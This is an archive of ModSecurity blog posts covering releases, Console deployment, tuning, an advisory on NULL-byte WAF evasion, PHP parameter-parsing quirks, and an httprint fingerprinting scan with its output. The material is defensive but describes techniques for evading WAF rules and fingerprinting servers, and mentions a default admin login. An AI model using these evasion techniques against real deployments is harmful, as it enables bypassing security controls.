My name is Brian Rectanus (pronounced rec-tan-us, for those curious). As some of you may already know, I was hired by Breach Security, Inc. in February as the primary ModSecurity developer. So far, I have worked on mainly bug-fixes and smaller features in the ModSecurity 1.9.x and 2.1.x branches, but most of my time is being spent on the upcoming version 2.2.0 release. My PGP key for verifying archive signatures can be found on most any PGP keyserver (pgp.mit.edu).

With 2.2.0, Ivan and I will be periodically releasing a development branch that is a stabilized version of the main ModSecurity development branch. This is partially so that users can have access to new features sooner, but is primarily meant to be a means to allow the ModSecurity community to become more involved in the future of ModSecurity as well as to keep ModSecurity as stable as possible for official releases. With the development releases, users will have a chance to preview upcoming changes and provide valuable feedback to the developers before changes, features, configuration syntax, etc. become finalized.

Typically there will be 3-4 development releases followed by release candidates, then a final release. Each development release will enhance upon the previous by adding more features and changes. Once Ivan and I are happy with the changes, I will close the branch to new features and start the release candidates -- with only bug fixes and minor changes -- until the code is stabilized. At that point I will release the final version.

With that, I am happy to announce the general availability of the first development release for ModSecurity version 2.2.0. The source code is available in the download section of the ModSecurity Website. Below is an outline of the new features and changes in this release so far. Please see the documentation included in the release for full details and usage examples. Please direct any comments to the ModSecurity User Support mailing list.

Changes since version 2.1.1

Posted by brectanus at 05:00 PM

ModSecurity Console Performance Tuning

Posted by rcbarnett on May 09, 2007.

Help, my ModSecurity Community Console is not responding!"

Perhaps you have seen this type of email sent to the ModSecurity mailing list? Unfortunately, it is relatively easy to overload the ModSecurity Conmmunity Console when you combine the following three factors: using the default Console configurations, having the ModSecurity Sensor configured to log alerts for all traffic and if your site has large amounts of traffic. In this type of situation, the Console MUI may become unresponsive. This is due to having too many open/active alert messages. So, what can you do about it? Read on to find steps to help alleviate this problem.

ModSecurity Sensor Configuration Settings

SecAuditEngine

The SecAuditEngine Directive can have an impact on the total number of alert messages being created, mainly if it is set to On. The recommended setting for this directive is RelevantOnly.

SecAuditLogRelevantStatus

The defualt setting for this directive in the Core Rules is "^[45]". This directive will generate audit logs for all 4xx and 5xx level status codes. The downside of this setting, from a performance perspective, is that this also logs 404 Not Found status codes which can generate a lot of information. If you want to exclude 404 status codes from being logged, use this setting - "^(?:5|4\d[^4])".

modsecurity-auditlog-collector

The Perl script that is currently available for transporting the concurrent audit log files to the remote Console host does not perform well under production loads. There is even a disclaimer saying as much inside the script:

# This code is not suitable for non-trivial production use
# since it can only submit one audit log entry at a time, plus
# it does not handle errors gracefully.

So, what can you do? Breach Security is putting the finishing touches on a production quality audit log transport replacement tool called mlogc. This tool will be released to the public in the very near future so keep your eyes out for it. It won't solve all of your performance issues but its will help.

ModSecurity Console Configurations

Avoiding Too Many Open/Active Alerts

The main memory hog in the Console is the number of active alerts (alerts with status open) in the Alert interface. Part of this can be alleviated by properly configuring the various ModSecurity directives mentioned previously as to not generate too many needless alert messages.

Update the Alert Management Settings

Another change that can be made to help avoid a memory problem associated with this issue is to update the Alert Management configuration settings. You can optionally go to Administration -> Alert Management in the MUI and decrease the “Automatic Stale Alert Removal” time setting. This will automatically archive and remove alerts below a specified alert severity from the alert page. This can help to guard against low level Notice/Info alerts from clogging up the Alert interface. You can still get to all of the data, however you would need to use the Transactions Search page to bring them back up.

Getting Access to the MUI When There Are Too Many Alerts

If your Console is being bombarded by alert messages, the initial homepage may not be responsive when you login as the MUI is attempting to display the proper number of Active Alerts under the Sensor Overview section. If this is happening and your MUI is hanging, try accessing another page that does not display the Active Alert data such as the Administration page located here - http://CONSOLEHOST:8886/adminHome. This should allow you to get access to the Alert Management interface (mentioned in the previous section) and possibly flush out the active alerts and archive them to the database.

Allocating More RAM to Java

You can allocate more memory available/allocated to the Java MUI application. The amount of Memory (RAM) that is allocated to the Java application can be increased by editing the modsecurity-console shell script file. You want to edit the -Xms and -Xmx arguments in the following line:

-INSTALL4J_ADD_VM_PARAMS="-Xms128M -Xmx512M - Dderby.storage.pageSize=32768 -Dderby.storage.pageCacheSize=8000"

Here is a quick breakdown of what these parameters mean:

-Xms128M - start with 128 MB RAM
-Xmx512M - use max. 512 MB

If you increase these values, you should take care to still leave some RAM to be used by the operating system and other processes on the box.

-Dderby.storage.pageCacheSize=8000 - each page should be 8 KB
-Dderby.storage.pageSize=32768 - have 32768 pages in cache

In the above example you allocate 32768 x 8 KB = 256 MB. To be on the conservative side, the database cache should be at most 30% of the total RAM dedicated to the Java process. Feel free to experiment to find the optimal value for your case.

When the free Console just won't keep up...

If your site simply generates too much traffic for the free Console to handle, you many want to consider purchasing the soon to be released ModSecurity Management Console provided by Breach Security. This updated version of the Console has much better performance. It will initially function just like the open source Console in that it is used as a centralized alert management host. In future releases, it will also include "Command and Control" functionality that will allow it to actually manage remote ModSecurity Sensors.

Posted by rcbarnett at 07:36 PM

ModSecurity Migration Matrix

Posted by rcbarnett on April 10, 2007.

For all of you who are using ModSecurity 1.x and looking for information on migrating to Mod 2.x, we have posted a migration matrix document that will help. The PDF document is listed under the "Documentation" page on the Mod site. Here is a direct link - ModSecurity Migration Matrix.

Please send comments and feedback to the mail-list.

Posted by rcbarnett at 06:16 PM

ModSecurity Console: Purpose and Deployment

Posted by rcbarnett on March 16, 2007.

If you have more then 1 ModSecurity installation, you have undoubtedly run into issues with consolidating, analyzing and responding to alert messages. Yes, you can always reconfigure Apache to send its access/error logs through Syslog onto a remote, central logging server however the data being forwarded is a very small subset of the entire transaction. It is only a warning message and not enough information to conduct proper incident response to determine if there was a false positive or if it was a legitimate attack. In order to determine this information, you need access to the ModSecurity Audit log files. Unfortunately, the original "Serial" format of the audit log was multi-line with all records held within one file. This made remote logging difficult. What was really needed was to have a mechanism to send logs onto a centralized logging host made specifically for processing ModSecurity Alert data. This is the purpose of the ModSecurity Console.

Although you can deploy the ModSecurity Console on the same host that is running ModSecurity, the recommended solution is to deploy the Console on a stand-alone server and then reconfigure your various ModSecurity hosts to send their logs across the network to the Console. This provides two benefits:

1) Management of the audit logs is centralized and thus makes analysis easier, and
2) If the web server were to be compromised, the audit logs would not be held locally where an attacker could delete them.

DEPLOYMENT
There are essentially 3 components that need to be configured and working correctly for this deployment to work:

1) The Console itself must be up and running and have profiles setup for each Sensor.
2) The ModSecurity configuration files on the individual installations must have the proper Audit logging directives configured, and
3) The modsec-auditlog-collector.pl script must be configured with the correct information.

The following steps will show you how to set these all up.

STEP 1: Install the Console software on the central log host
Follow the installation steps outlined in the README.txt file that comes with the software. Once you have installed the ModSecurity Console software on your logging host, you should then log into the web interface. Let's say that the Console host has an IP address of - 192.168.1.100. You should then login by going to - http://192.168.1.100:8886/. You will then get a Basic Auth login popup box. Login with "admin" as username and "admin" as password.

STEP 2: Create sensor profiles
You need to create Sensor profiles on the ModSecurity console. The term Sensor simply means a remote installation of ModSecurity. The Sensor profile is created to uniquely identify the incoming audit logs from each other and to optionally implement password/IP access controls. Click on the "Sensors" link at the top of the Console page and then click on the "Add Sensor" button. Next, fill in the appropriately Sensor Details such as Sensor Name, IP Address, Sensor Password and then click on Submit. You need to remember this information when you are editing the modsec-auditlog-collector.pl script on each Sensor host. Let's say for this sensor, the IP Address is 192.168.1.101, Username is alpha1 and the Password is sensor1.

STEP 3: Reconfigure the Audit Directives on each Sensor to use Concurrent Logging
The next step is to update a few of the audit directives in the configuration file of the individual ModSecurity installs.

Edit these directives so they look like this -

SecAuditEngine RelevantOnly
SecAuditLogRelevantStatus "^(?:5|4\d[^4])"
SecAuditLogType Concurrent
SecAuditLogParts ABCDEFGHZ
SecAuditLogStorageDir /path/to/apache/logs/data/
SecAuditLog /path/to/apache/logs/audit.log

STEP 4: Test local concurrent logging
Once this is configured, you should restart Apache, send a few requests that will trigger a ModSecurity rule and then check the SecAuditLog file for the new, concurrent data. The format should look something similar to this -

192.168.2.101 192.168.2.11 - - [15/Jul/2005:11:56:52 +0100] "POST /form.php HTTP/1.1" 403
3 "http://192.168.2.101:8080/form.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) 
Gecko/20050511 Firefox/1.0.4" G3yTd38AAAEAAAM7BLwAAAAA "-" /20050715/20050715-1156/20050715-
115652-G3yTd38AAAEAAAM7BLwAAAAA 0 1031 md5:dc910f6d647d47b32ae6e47326f0ca42

The bolded section of the log entry is the location of the individual audit log file under the SecAuditLogStorageDir location. If you then looked at the following location - /path/to/apache/logs/data/20050715/20050715-1156/20050715-
115652-G3yTd38AAAEAAAM7BLwAAAAA - you would find the entire audit log record. Once you have confirmed that Concurrent logging is working correctly in local mode, the next step is to setup the modsec-auditlog-collector script with the correct information.

STEP 5: Update the modsec-auditlog-collector.pl script
You can download the modsec-auditlog-collector.pl code from within the web interface of the ModSecurity Console. Once you are logged in, click on the "About" link and then use "this Perl script" link. Once you download the script, you should upload it to your ModSecurity host and place it in the /path/to/apache/bin/ directory. You then need to do the following:

1) Chmod the script to make sure that it is executable by Root.
2) Verify that the path to Perl is correct in the script.
3) Edit the following lines within the script -

my $CONSOLE_URI = "/rpc/auditLogReceiver";
my $CONSOLE_HOST = "192.168.1.100";
my $CONSOLE_PORT = "8886";
my $CONSOLE_USERNAME = "alpha1";
my $CONSOLE_PASSWORD = "sensor1";

It is important that you specify the correct IP address for your ModSecurity Console host and that you also specify the correct Sensor Username and Password that you created within the ModSecurity Console. If any of this information is not correct, the modsec-auditlog-collector.pl script will not successfully tranfer the audit log files. After updating the modsec-auditlog-collector.pl script, the next step is to update one of the ModSecurity audit directives again.

STEP 6: Update the SecAuditLog Directive
Edit the ModSecurity configuration file once again and edit the SecAuditLog directive like this -

SecAuditLog "|/path/to/apache/bin/modsec-auditlog-collector.pl \
/path/to/apache/logs/data/ /path/to/apache/logs/audit.log"

What this is doing is using the "|" piped log feature to send the audit log data directly to the modsec-auditlog-collector.pl script. It also has two arguments, the first one being the path to the directory location specified by SecAuditLogStorageDir and the original SecAuditLog file that holds the audit log meta-data. Once you have updated this this directive, you should then restart Apache.

STEP 7: Testing Remote Logging
The final step is to verify that the remote ModSecurity Sensor will now send its Concurrent audit log data to the central Console. In order to do this, you should send another request to the ModSecurity Sensor that will trigger one of the Core Rules. This will then result in an audit log being created, passed to the modsec-auditlog-collector.pl script and then sent across the network to the Console.

In the Console, you should see the remote audit log file show up under the "Alerts" page in the Console. You can then click on the alert file link for all of the details.

Conclusion
Hopefully, this information will assist ModSecurity users with deploying their ModSecurity Consoles.

Posted by rcbarnett at 06:43 PM

ModSecurity ASCIIZ Evasion

Posted by ivanr on March 08, 2007.

It has been brought to our attention that a fault in the ModSecurity parsing code has been discovered and published. (No, we have not been contacted by the author, either before or after the publication. We learned about the problem from a third party.) The fault makes it possible to sneak an attack payload past a class (not all, as you will see below) of ModSecurity rules.

The rules that use variables that refer to request parameters (e.g. ARGS) can be evaded in certain circumstances, as follows: 1) parameters must be transported in an application/x-www-form-urlencoded request body, 2) an un-encoded NULL byte (ASCIIZ) must be embedded in the payload and 3) the parser used by the web application must do things differently. (Apparently, PHP < 5.2.0 cannot be attacked in this way but >= 5.2.0 can. Of course, the problem is not specific to PHP, but at this point we don't know exactly how other environments are impacted. Unless you know differently you should treat the situation as if the evasion is possible.) The ASCIIZ byte will cause the parser to terminate prematurely, missing some data.

The logging features are not affected.

A ModSecurity update will be released to deal with this issue. However, an update is not the only way to deal with the problem. it is possible to use ModSecurity itself to detect and prevent evasion. Simply add the following rule to your rule set:

SecRule REQUEST_BODY "@validateByteRange 1-255" \
"log,deny,phase:2,t:none,msg:'ModSecurity ASCIIZ Evasion Attempt'"

All your other rules can remain intact. The above rule should not result in false positives under normal circumstances.

Please note that, not having been notified in advance, there was not enough time to research all aspects of this evasion technique as thoroughly as we would like. We are sending this email to notify our users and help them mitigate the problem quickly. The information presented here may end up being a work in progress, in which case we will follow up as soon as we learn more.

And, for the record, I am not at all happy with the fact the issue was not disclosed to us in advance. We take security very seriously; a responsible disclosure would have allowed us to have an updated version of ModSecurity available for download at the same time as the disclosure.

Update: This was fixed a while ago, with the release of ModSecurity v2.1.1.

Posted by ivanr at 08:49 AM

ModSecurity Status Report

Posted by ivanr on February 23, 2007.

I enjoyed talked about ModSecurity (and web application firewalls) in front of the London OWASP Chapter last night. It's been a while since I talked about ModSecurity. Most of my talks last year were of generic nature, discussing web application firewalls with ModSecurity only mentioned here or there. It was a conscientious effort on my part to help the users make up their own minds. But I think I've done enough of that. It's time to go back to banging on my own drum, so to speak.

My talk, now available from the ModSecurity web site, is a good overview of the current state of ModSecurity. There's a bit of everything in it: why web application firewalls (with use cases), current and future ModSecurity features, and a mention of the related projects. There is only 13 slides in the presentation but it covers a lot of ground.

Posted by ivanr at 11:41 AM

ModSecurity Gets Another Team Member!

Posted by ivanr on February 09, 2007.

Some of you may recall I posted a job advertisment for a C programmer last year. Although this position was filled many weeks ago, Brian Rectanus, our newest team member, started working just this week. Brian's main task will be to work on ModSecurity, making his arrival a significant milestone for the project. Needless to say, this makes me very happy. I have a very long list of TODO items and some of them have been waiting in the queue for years!

Posted by ivanr at 01:24 PM

Dealing with Impedance Mismatch

Posted by ivanr on February 07, 2007.

In my previous post I described a potential problem with web application firewalls protecting web applications. After getting your attention it is only fair to follow up with a solution.

Firstly, the problem is not as serious as it may appear at the first glance. Secondly, the solution, in the cases when the rules might be affected, is pretty straightforward. It's a simple matter of rewriting rules to avoid the slippery path (or not writing them to be vulnerable to evasion in the first place). You should have in mind, however, that the most important step in dealing with impedance mismatch is to understand the problem exists. Everything else is just a technicality.

It turns out the impedance mismatch problem typically affects only those rules that are designed to focus on named parameters and cookies. This is a feature that is not used frequently. For example, the Core Rules project does not need to do this because it is generic in nature. It does not care what parameters are called. What it really cares is the payload (either parameter names or values) and this is where inspection takes place - irrespective of impedance mismatch.

If you do need to address problems that manifest only with certain named parameters then it's probably because you want to deal with a particular problem in the application you are using. Which means you have a context in which you work and you can take simple precautions. You should always try to avoid using the named-variable approach (e.g. ARGS:parameter) and address all variables instead (i.e. ARGS). My favourite has always been having a rule that warns about parameters with strange characters in them (a space would be a strange parameter in this context).

SecRule ARGS_NAMES "!^[][a-zA-Z0-9_.]+$"

This rule will not work equally well for all environments. You should customise it to better suit your circumstances. Strictly speaking it is not designed to deal with impedance mismatch but to unearth unusual requests. If there are unusual characters used in parameter names (and this is not by design in the application) you will want to know about that so you can investigate.

As far as ModSecurity is concerned, we will pro-actively research other web application environments and document any issues we discover.

Posted by ivanr at 11:13 AM

Httprint vs. ModSecurity

Posted by rcbarnett on February 06, 2007.

There was a great email posted to the ModSecurity user mail-list today that asked about ModSecurity's ability (or inability) to trick web server fingerprinting tools such as HTTPrint. The short answer is YES, ModSecurity 2.X can be used to effectively ruin the accuracy of HTTPrint. The most important point here is that ModSecurity 2.X now has a hook in to the Apache PostReadRequest portion of the request cycle (phase:1) where previously it would run much later in the Fixup phase (phase:2). In order understand how HTTPrint works, I suggest that you read this supporting information.

There are many different possibilities for mitigating the effectiveness of these types of fingerprinting scanners. For complete information, I suggest you read the http fingerprinting Appendix section I wrote as part of the WASC Threat Classification document.

HTTPrint a not a typical "banner grabbing" application, as it has more logic to it. It's main fingerprinting technique has to do with the Sematic differences in how web servers/applications respond to various stimuli. Let's take a look.

If I run HTTPrint v0.301 (the most recent version) against a default Apache 2.2.3 web server, it reports the following:

$ ./httprint -h 192.168.10.27 -s signatures.txt
httprint v0.301 (beta) - web server fingerprinting tool
(c) 2003-2005 net-square solutions pvt. ltd. - see readme.txt
http://net-square.com/httprint/
httprint@net-square.com

Finger Printing on http://192.168.10.27:80/
Finger Printing Completed on http://192.168.10.27:80/
--------------------------------------------------
Host: 192.168.10.27
Derived Signature:
Apache/2.2.0 (Fedora)
9E431BC86ED3C295811C9DC5811C9DC5050C5D32505FCFE84276E4BB811C9DC5
0D7645B5811C9DC5811C9DC5CD37187C11DDC7D7811C9DC5811C9DC58A91CF57
FCCC535B6ED3C295FCCC535B811C9DC5E2CE6927050C5D336ED3C2959E431BC8
6ED3C295E2CE69262A200B4C6ED3C2956ED3C2956ED3C2956ED3C295E2CE6923
E2CE69236ED3C295811C9DC5E2CE6927E2CE6923

Banner Reported: Apache/2.2.0 (Fedora)
Banner Deduced: Apache/2.0.x
Score: 140
Confidence: 84.34------------------------
Scores:
Apache/2.0.x: 140 84.34
Apache/1.3.[4-24]: 132 68.91
Apache/1.3.27: 131 67.12
Apache/1.3.26: 130 65.36
Apache/1.3.[1-3]: 127 60.28
--CUT--

As you can see, it correctly fingerprinted my Server as an Apache 2.X server. The only reason that it wasn't any more accurate was that it didn't have a signature for 2.2.3 yet (but that is easily fixed by pasting the fingerprint above into the signatures.txt file with the proper label). Anyways, after running this scan, my Apache logs show this info:

192.168.10.69 - - [15/Jan/2007:12:26:20 -0500] "\x16\x03" 501 214
192.168.10.69 - - [15/Jan/2007:12:26:20 -0500] "GET / HTTP/1.0" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/1.0" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "OPTIONS * HTTP/1.0" 200 -
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "OPTIONS / HTTP/1.0" 200 -
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET /antidisestablishmentarianism HTTP/1.0" 404 226
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "PUT / HTTP/1.0" 405 231
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "JUNKMETHOD / HTTP/1.0" 501 222
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / JUNK/1.0" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "get / http/1.0" 501 215
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "POST / HTTP/1.0" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET /cgi-bin/ HTTP/1.0" 403 210
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET /scripts/ HTTP/1.0" 404 206
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/0.8" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/0.9" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/1.1" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/1.2" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/1.1" 400 226
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/1.2" 400 226
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET / HTTP/3.0" 200 44
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET /.asmx HTTP/1.1" 404 203
192.168.10.69 - - [15/Jan/2007:12:26:21 -0500] "GET /../../ HTTP/1.0" 400 226

What is important to notice are the various HTTP Response Codes that Apache trigger based on the different malformed requests. There were 501s, 400s and some 200s.

Now, if we want to use ModSecurity to combat HTTPrint, we need to use signatures that enforce HTTP Compliance as this is the core of HTTPrint's Semantic tests. Fortunately, the ModSecurity Core Rules come with many different rules that will help to enforce HTTP compliance. After impelmenting ModSecurity + the Core Rules, if I re-run HTTPrint you will see that it isn't even able to complete it's tests and it errors out:

$ ./httprint -h 192.168.10.27 -s signatures.txt
httprint v0.301 (beta) - web server fingerprinting tool
(c) 2003-2005 net-square solutions pvt. ltd. - see readme.txt
http://net-square.com/httprint/
httprint@net-square.com

Finger Printing on http://192.168.10.27:80/
Finger Printing Completed on http://192.168.10.27:80/
--------------------------------------------------
Host: 192.168.10.27
Fingerprinting Error: Invalid response from server, check configuration...
--------------------------------------------------

Now, back in the Apache access log file you will see that HTTPrint actually sent only 2 requests and ModSecurity responded with status codes of 400 for both:

# cat access_log
192.168.10.69 - - [15/Jan/2007:12:57:27 -0500] "\x16\x03" 400 226
192.168.10.69 - - [15/Jan/2007:12:57:27 -0500] "GET / HTTP/1.0" 400 226

The error_log shows why ModSecurity blocked the requests:

[Mon Jan 15 12:57:27 2007] [error] [client 192.168.10.69] ModSecurity: Access denied with code 400 (phase 1). Operator EQ match: 0. [id "960008"] [msg "Request Missing a Host Header"] [severity "WARNING"] [uri ""] [unique_id "@om-EcCoChsAABmtbhgAAAAA"]
[Mon Jan 15 12:57:27 2007] [error] [client 192.168.10.69] ModSecurity: Access denied with code 400 (phase 1). Operator EQ match: 0. [id "960015"] [msg "Request Missing an Accept Header"] [hostname "192.168.10.27"] [uri "/"] [unique_id "@onadMCoChsAABmubtAAAAAB"]

As you can see, HTTPrint did not send certain mandatory requests headers (host and accept) so ModSecurity blocked the requests. Now, due to the fact that these first few requests sent by HTTPrint are supposed to be used to baseline normal response, the status codes of 400 were not expected and it therefore errored out.

Even if I remove these 2 Core Rules signatures, there are other rules that would still trigger block the requests. These include the check for a User-Agent request header, verifying that the Host header is an actual name and not an IP address (as that is normally indicative of worm activity, there are also other signatures that can enforce only the GET|HEAD|POST request methods and ensure that the request ends in HTTP and one of the legitimate protocol numbers (0.9, 1.0 or 1.1). With this layered approach, ModSecurity can provide effective defenses against the HTTPrint scanner.

Posted by rcbarnett at 02:07 AM

PHP Peculiarities for ModSecurity Users

Posted by ivanr on February 05, 2007.

As I was reviewing the ModSecurity 2.1.0-rc7 Reference Manual I realised it did not contain some very important sections we had in the previous (ModSecurity 1.9.x) manual - those on web application firewall impedance mismatch and PHP peculiarities. Impedance mismatch is a well known problem where, because web application firewalls interpret input data independently from the systems they are protecting, there is a danger of information slipping through because of different interpretations. PHP is especially vulnerable to this issue because the engine was designed to be error friendly and "helpful".

For many years now my policy was to try to document the evasion possibilities and to lay the responsibility on the ModSecurity user to read the manual. I have now decided to make the issue more visible. To start with, here's the part from the 1.9.x manual that is relevant to PHP:

  1. When "register_globals" is set to "On" request parameters are automatically converted to script variables. In some PHP versions it is even possible to override the $GLOBALS array.

  2. Whitespace at the beginning of parameter names is ignored. (This is very dangerous if you are writing rules to target specific named variables.)

  3. The remaining whitespace (in parameter names) is converted to underscores. The same applies to dots and to a "[" if the variable name does not contain a matching closing bracket. (Meaning that if you want to exploit a script through a variable that contains an underscore in the name you can send a parameter with a whitespace or a dot instead.)

  4. Cookies can be treated as request parameters.

  5. The discussion about variable names applies equally to the cookie names.

  6. The order in which parameters are taken from the request and the environment is EGPCS (environment, GET, POST, Cookies, built-in variables). This means that a POST parameter will overwrite the parameters transported on the request line (in QUERY_STRING).

  7. When "magic_quotes_gpc" is set to "On" PHP will use backslash to escape the following characters: single quote, double quote, backslash, and the null byte.

  8. If "magic_quotes_sybase" is set to "On" only the single quote will be escaped using another single quote. In this case the "magic_quotes_gpc" setting becomes irrelevant. The "magic_quotes_sybase" setting completely overrides the "magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be set to "On" for the Sybase-specific quoting to be work.

  9. PHP will also automatically create nested arrays for you. For example "p[x][y]=1" results in a total of three variables.

(Update Feb 7) Jakub Vrána wrote to clarify that "magic_quotes_gpc" must be "On" for "magic_quotes_sybase" to work. Thanks! This is now fixed. Jakub has a post in Czech on a similar topic.

Posted by ivanr at 07:34 PM

ModSecurity 2.1.0 Improvements

Posted by ivanr on February 05, 2007.

I have just packaged and released ModSecurity for Apache v2.1.0-rc7, in preparation for the first stable release in the 2.1.x branch. I am very fond of having many release candidates over a period of time. They have an important role of demonstrating how the process of adding new features has ended, and the product is now being polished for a release.

A lot of work has been done in the v2.1.0, with quality being the main focus. Ryan Barnett - a well known member of the ModSecurity community and an employee of Breach Security since last year (and thus a member of the ModSecurity project) - contributed by creating a set of regression tests and updating the documentation. Ofer (whom you already know by know as the person in charge of the Core Rules project) helped by thoroughly testing both ModSecurity and Core Rules, all as part of our parallel effort - the ModSecurity appliance - ModSecurity Pro M1000. Their combined efforts have resulted in a discovery of a number of small issues that were promptly fixed.

But even if you are not affected by some of the problems that were now fixed in v2.1.0 there are good reasons to upgrade - this new version is almost twice as fast for real-life traffic and uses significantly less memory.

We will officially declare v2.1.0 stable in a week or so but I urge you to take the release candidate for a spin to make sure it works for you. It's time to move on and start implementing the next batch of changes. We have some very interesting features on our TODO list!

Posted by ivanr at 12:55 PM

ModSecurity v2.0 Webcast

Posted by rcbarnett on December 07, 2006.

In response to many of the common questions and issues posted to the mail-list, we at Breach Security decided to host a webcast to help provide answers and shed some light on the new v2.0 features – http://www.modsecurity.org/training/. This is the first of many training programs to support and enhance your use of ModSecurity and its dynamic web application security protection.

If you are interested in free training on:

The webcast is scheduled for Thursday, December 14th 2006 at 1:00pm EST. To register please click here.

Posted by rcbarnett at 01:40 PM

Ryan Barnett Is Now Bloggin'

Posted by rcbarnett on December 07, 2006.

Greetings everyone. My name is Ryan Barnett and I am the Director of Application Security Training for Breach Security. I am also a long time user of ModSecurity. I will be working closely with both Ivan and Ofer on ModSecurity development and rule updates, however my main area of focus is on effectively using ModSecurity. ModSecurity has so many cool new features, however many people aren't quite sure how to use them in their environment. That is where I come in. I will help to answer questions, update documentation and create specific use cases that highlight how to leverage ModSecurity to help protect your web apps.

So, check back here frequently for news, updates and tips and tricks.

Cheers.

Posted by rcbarnett at 12:59 PM

Looking For One C Programmer and One Java/Web Programmer

Posted by ivanr on November 10, 2006.

Breach Security is looking to fill two position in London. We are looking for one C programmer and one Java/Web programmer, both to work on ModSecurity and the related products. I am pasting both job descriptions below.

Subject: Full time C programmer position in London (for work on ModSecurity)

I am looking for a C developer to work on ModSecurity, the open source web application firewall. This is a full time position for someone based in or around London, willing to commute to west London (most likely the Ealing Broadway area).

The following is the list of relevant skills:

  1. Good C language programming skills.
  2. Ability to write clean, understandable, documented, and, above everything else, *secure* code.
  3. Familiarity with good software design/engineering practices: configuration management, test-driven development, defect tracking, etc.
  4. Good understanding of network protocols and the Internet.
  5. Very good understanding of HTTP.
  6. Very good understanding of web application security issues.
  7. Familiarity with network and Unix programming. Exposure to the Microsoft tool chain is a plus.
  8. Ability to work independently but also work as a team member.
  9. Accountability.
  10. Knowledge of the Apache web server, the APR, and the IIS is a plus.
  11. Fluent English.

I will consider candidates of various skill levels. I am also keen to find the right candidate. Please send your CVs to my email address and also include your list of favourite books relevant to the job (but feel free to include other books you feel strongly about). It is worth noting that the entire department is going to consist of a small number of developers. This is, therefore, a good opportunity for someone to enjoy a quiet environment and immerse himself (or herself) in the work.

Subject: Full time Java/Web programmer position in London (for ModSecurity)

In addition to the position for a C programmer I posted earlier, we are now looking for a Java/Web programmer to help us work on ModSecurity-related projects. This too is a full time position for people in or around London, willing to commute to West London (most likely the Ealing Broadway area).

The following is a list of relevant skills:

  1. Decent programming and object-oriented programming skills in Java.
  2. Ability to write clean, understandable, documented, and, above everything else, *secure* code.
  3. Familiarity with good software design/engineering practices: configuration management, test-driven development, defect tracking, etc.
  4. Good understanding of network protocols and the Internet.
  5. Very good understanding of HTTP.
  6. Very good understanding of web application security issues.
  7. Ability to work independently but also work as a team member.
  8. Accountability.
  9. Good knowledge of HTML, JavaScript, DHTML and SQL.
  10. Fluent English.

Please send your CVs to my email address and also include your list of favourite books relevant to the job (but feel free to include other books you feel strongly about). It is worth noting that the entire department is going to consist of a small number of developers. This is, therefore, a good opportunity for someone to enjoy a quiet environment and immerse himself (or herself) in the work.

Posted by ivanr at 05:15 PM

Talking About ModSecurity 2.0 With Federico Biancuzzi for SecurityFocus

Posted by ivanr on October 23, 2006.

A while ago Federico Biancuzzi contacted me to ask if I'd be interested to give an interview for SecurityFocus. Naturally I responded positively. It was an honour to join the group of people interviewed by Federico. We exchanged a bunch of emails in the months prior to the final ModSecurity 2.0 release. The interview was published a week ago, on the same day as the ModSecurity release it discusses. I am very happy with how the interview turned out. It gives a very good overview of what you can do with a web application firewall and also a very good overview of the features available in the 2.0 release.

Posted by ivanr at 09:17 PM

Informal Interview for CGISecurity.com

Posted by ivanr on September 29, 2006.

I gave a brief informal interview to Robert of CGISecurity.com fame. What is going to happen to ModSecurity is a question on some people's minds right now so I took this opportunity to put them at ease.

Posted by ivanr at 02:40 PM

ModSecurity Has Been Acquired!

Posted by ivanr on September 24, 2006.

It gives me great pleasure to announce that Thinking Stone Ltd. and ModSecurity have been acquired! We will be joining forces with Breach Security, Inc. (http://www.breach.com), a company also focused on the web application firewall market. The merger is going to be officially announced tomorrow but I thought you'd want to hear about it sooner.

It has been clear to me for some time now that I've done all I could working on ModSecurity on my own. The limited resources available to me have become the main bottleneck. Having spent the largest part of this year trying to determine what is the best course of action I believe the merger with Breach Security is the right decision. Their existing product line is fully compatible with ModSecurity and, more importantly, web application security is all they do.

I have known Ofer Shezaf, the CTO of Breach Security, for several years. We have worked on various projects together, mostly as part of the Web Application Security Consortium. It is this friendship that ultimately lead to the merger of two companies.

So much good is going to come out of this:

Breach Security are going to bring their web application security expertise to the table. While I expect for their entire organisation to become involved with the ModSecurity community in one form or another, there are also going to be several immediate benefits:

So not only is ModSecurity for Apache going to remain an open source product, but a large amount of resources is going to be invested into it to make sure the community is supported and the development accelerates.

For me, these events are a culmination of my efforts to make web application firewalls available to everyone. It was a joint effort; none of this would have happened without the strong support from the community.

In many ways this is a new life for ModSecurity. Now it's time to go for places we couldn't reach before!

Posted by ivanr at 08:25 PM

ModSecurity Cookie and Link Protection Patch

Posted by ivanr on August 18, 2006.

A significant event occurred on the mod-security-users mailing list in July: a large code contribution was made by Daniel Fernández Bleda and Carles Bonamusa Pérez from Internet Security Auditors. The patch, made against ModSecurity 1.9.4, adds cookie and link protection using hashing and encryption. The patch is now available for download from the ModSecurity web site. Please note that the code is not yet production ready and that you should use it for testing purposes only. I expect to merge this code into the official code base soon (targeting the next stable release after 2.0.0).

Posted by ivanr at 10:36 AM

ModSecurity Performance Tip

Posted by ivanr on August 17, 2006.

